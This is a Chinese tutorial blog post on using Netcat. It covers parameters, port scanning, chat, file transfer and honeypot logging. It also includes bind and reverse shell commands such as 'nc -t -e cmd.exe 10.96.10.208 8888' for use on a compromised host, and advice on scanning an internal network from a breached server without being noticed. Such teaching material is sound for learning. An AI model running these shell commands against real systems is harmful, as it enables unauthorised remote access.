工具的使用 | Netcat瑞士军刀的简单使用

admin 2022年1月25日00:51:31安全工具评论68 views1376字阅读4分35秒阅读模式


目录

                   


Netcat

常用参数:

常见的用法:

端口扫描

聊天

文件传输

反弹shell

蜜罐

Netcat 常称为 nc,拥有“瑞士军刀”的美誉。nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell。


工具的使用 | Netcat瑞士军刀的简单使用
常用参数

·   -l: 开启监听

·   -p:指定端口

·   -t: 以telnet形式应答

·   -e:程序重定向

·   -n:以数字形式表示ip

·   -v:显示执行命令过程

·   -z :  不进行交互,直接显示结果

·   -u :使用UDP协议传输

·   -w :  设置超时时间



工具的使用 | Netcat瑞士军刀的简单使用
常见的用法

端口扫描:

如果是想单纯的端口扫描的话,利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后,我们想再渗透进该网站的内网进行渗透。然而,我们的nmap工具是不能扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而由于nc体积很小,所以不容易被发现。

nc  -z -v -n 192.168.10.14  20-23   #端口或端口范围

工具的使用 | Netcat瑞士军刀的简单使用

如果探测到端口开放了,比如上面的 80 端口开放了,我们就可以继续探测其banner信息: 

nc -v -n 192.168.10.14  80

然后输入get

工具的使用 | Netcat瑞士军刀的简单使用

聊天

我们还可以利用 nc 做一个简易版本的聊天工具,通过一边监听端口,一边发送消息去该端口,形成一个简易版本的服务端—客户端模型。

服务器端:

nc   -lvp    8888     #监听8888端口  -l 监听 -v 显示详细信息  -p 指定端口

客户端:

nc  -nv  10.96.10.208  8888    #连接到服务器的8888端口  -n以数字形式显示ip  -v显示详细信息

工具的使用 | Netcat瑞士军刀的简单使用

文件传输

我们可以利用 nc 往客户端传送文件

服务器端:

nc  -lvp  8888 < test.txt

客户端:

nc -nv 10.96.10.208 8888 > test.txt

工具的使用 | Netcat瑞士军刀的简单使用

反弹shell

正向连接,意思就是我们主动连接肉鸡

假如我们现在入侵到了一台主机上,我们可以通过执行以下命令将该主机的cmd命令弹到8888端口上

肉鸡

nc -lvv -p 8888 -t -e cmd.exe

然后我们的主机访问该肉鸡的8888端口

我们的主机

nc  -nvv  192.168.10.14  8888

工具的使用 | Netcat瑞士军刀的简单使用

反向连接,意思就是我们监听端口,然后肉鸡主动连接到我们的主机

我们的主机

nc  -lvp  8888

肉鸡(Windows)

nc  -t -e cmd.exe 10.96.10.208 8888

工具的使用 | Netcat瑞士军刀的简单使用

蜜罐

作为蜜罐

一直监听8888端口,知道 ctrl+C 停止

nc  -L -p  8888  > log.txt   #监听8888端口,并且将日志信息写入log.txt中

工具的使用 | Netcat瑞士军刀的简单使用



工具的使用 | Netcat瑞士军刀的简单使用

:浮夸

工具的使用 | Netcat瑞士军刀的简单使用

工具的使用 | Netcat瑞士军刀的简单使用
工具的使用 | Netcat瑞士军刀的简单使用
由于文章篇幅较长,请大家耐心。如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)
工具的使用 | Netcat瑞士军刀的简单使用
工具的使用 | Netcat瑞士军刀的简单使用

工具的使用 | Netcat瑞士军刀的简单使用
                    

本文始发于微信公众号(谢公子学安全):工具的使用 | Netcat瑞士军刀的简单使用

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月25日00:51:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  工具的使用 | Netcat瑞士军刀的简单使用 http://cn-sec.com/archives/484699.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: